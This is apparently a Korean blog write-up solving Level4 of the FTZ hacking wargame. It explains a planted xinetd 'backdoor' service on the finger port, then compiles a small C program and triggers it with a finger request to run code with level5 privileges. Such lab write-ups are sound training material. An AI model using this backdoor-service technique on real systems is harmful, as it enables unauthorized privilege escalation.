[FTZ] Level4 풀이

μ΅œλŒ€ 1 λΆ„ μ†Œμš”

πŸ’‘ FTZ Level4 풀이

문제

계정 : level4/suck my brain

hint

λˆ„κ΅°κ°€ /etc/xinetd.d/에 백도어λ₯Ό μ‹¬μ–΄λ†“μ•˜λ‹€.!

풀이

/etc/xinetd.d/ 폴더λ₯Ό λ³΄λ‹ˆ, backdoor파일이 μƒμ„±λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

image

[level4@ftz level4]$ cat /etc/xinetd.d/backdoor
service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}

μœ„μ˜ xinetd μ„€μ • νŒŒμΌμ€ λ‹€μŒκ³Ό 같이 λ™μž‘ν•©λ‹ˆλ‹€.

  1. service finger -> /etc/services에 μ„€μ •λœ νŒŒμΌμ— λ”°λΌμ„œ 79번 포트둜 λ“€μ–΄μ˜€λŠ” fingerμ„œλΉ„μŠ€μ— λŒ€ν•œ μš”μ²­μ„ ν•΄λ‹Ή νŒŒμΌμ—μ„œ 처리 ν•œλ‹€λŠ” 의미
  2. disable = no -> yesλŠ” λˆλ‹€λŠ” 의미고 noλŠ” μž‘λ™μ€‘
  3. flags,socket_type,wait -> tcp μ„œλΉ„μŠ€μΌλ•Œ μ΄λ ‡κ²Œ μž‘μ„±ν•΄ 쀌
  4. user = level5 -> μ•„λž˜ server νŒŒμΌμ„ μž‘λ™μ‹œν‚¬ λ•Œ κΆŒν•œμ΄ level5μž„
  5. server -> ν•΄λ‹Ή μ„œλΉ„μŠ€κ°€ λ“€μ–΄μ˜€λ©΄, user κΆŒν•œμ— λ”°λΌμ„œ ../tmp/backdoor 파일이 μ‹€ν–‰λœλ‹€λŠ” 의미

즉 ν˜„μž¬ 79번 포트둜 λ“€μ–΄μ˜¨ μš”μ²­μ— λŒ€ν•΄μ„œ level5의 κΆŒν•œμœΌλ‘œ backdoorλ₯Ό μ‹€ν–‰ν•˜λ„λ‘ μ„€μ •λ˜μ–΄ μžˆμŠ΅λ‹ˆλ‹€.

/home/level4/tmp/backdoor νŒŒμΌμ€ ν˜„μž¬ 쑴재 ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€.

λ”°λΌμ„œ λ‹€μŒκ³Ό 같이 /tmp 폴더에 backdoor.c νŒŒμΌμ„ λ§Œλ“€μ–΄ μ€λ‹ˆλ‹€.

backdoor.c

#include <stdio.h>

int main(){
  system("my-pass");
  return 0;
}

λ§Œλ“  뒀에 /tmp ν΄λ”μ—μ„œ backdoorλΌλŠ” μ΄λ¦„μœΌλ‘œ 컴파일 ν•΄ μ€λ‹ˆλ‹€.

gcc -o backdoor backdoor.c

이제 백도어 파일이 λŒ€κΈ°ν•˜κ³  μžˆμœΌλ―€λ‘œ, 79번 포트둜 μ„œλΉ„μŠ€λ₯Ό μš”μ²­ν•΄ μ€λ‹ˆλ‹€.

μ„œλΉ„μŠ€λŠ” λ‹€μŒκ³Ό 같이 μš”μ²­ν•©λ‹ˆλ‹€.

finger @localhost

image

νƒœκ·Έ:

μΉ΄ν…Œκ³ λ¦¬:

μ—…λ°μ΄νŠΈ:

λŒ“κΈ€λ‚¨κΈ°κΈ°